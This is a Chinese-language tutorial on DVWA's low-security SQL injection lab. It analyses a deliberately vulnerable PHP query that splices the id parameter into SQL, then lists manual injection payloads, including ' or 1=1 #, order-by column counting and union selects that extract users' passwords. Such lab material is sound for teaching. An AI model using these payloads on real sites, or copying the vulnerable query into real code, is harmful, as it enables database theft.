【DVWA】SQL 注入——低安全性
【HTNL代码分析】
-
鼠标右击查看网页源代码
-
核心代码
<form action="#" method="GET"> <input type="text" name="id"> <input type="submit" name="Submit" value="Submit"> </form>
action="#" ,将数据提交到当前页面
method=“GET” ,使用get方法进行提交
name 是最核心的,是用来接受用户输入的id
最后一行就是一个提交按钮
【PHP代码分析】
<?php
if(isset($_GET['Submit'])){ //判断Submit变量是否存在
// Retrieve data
$id = $_GET['id']; //获取id变量的值并赋值给$id
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; //将select查询语句赋值给$getid
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
//mysql_query() 函数执行mysql查询
//die()函数输出一条消息,并退出当前脚本
//mysql_error()函数返回上一个MySQL操作产生的文本错误信息
//or之前的语句执行不成功时,才会执行后面的语句
//and之前的语言执行成功时,才会执行后面的语句
$num = mysql_numrows($result); //返回结果集中行的数目
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name"); //返回结果集中的first_name字段的值
$last = mysql_result($result,$i,"last_name"); //返回结果集中的last_name字段的值
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
- mysql_query()函数
mysql_query()如果是执行查询类(select)的语句,那么回返回一个资源标识符,也就是我们要查找的数据结果集;
mysql_query()如果执行增删改之类的语句,返回的就是true或者false。
【手工SQL注入】
注入关键点
"SELECT first_name, last_name FROM users WHERE user_id = '$id'";
' or 1=1 or ' '' or 1=1 or '' 假 or 真 or 假 = 真
' or 1=1 # '' or 1=1 # 假 or 真 + 注释 = 真
1' or '1'='1 '1' or '1'='1' 真 or 真 = 真
手工SQL注入步骤
- 使用order by 确定列数
- 确定列数后就可以使用union去构造其他的查询了
例:1' union select user(),database() #
例:1' union select user,password from users #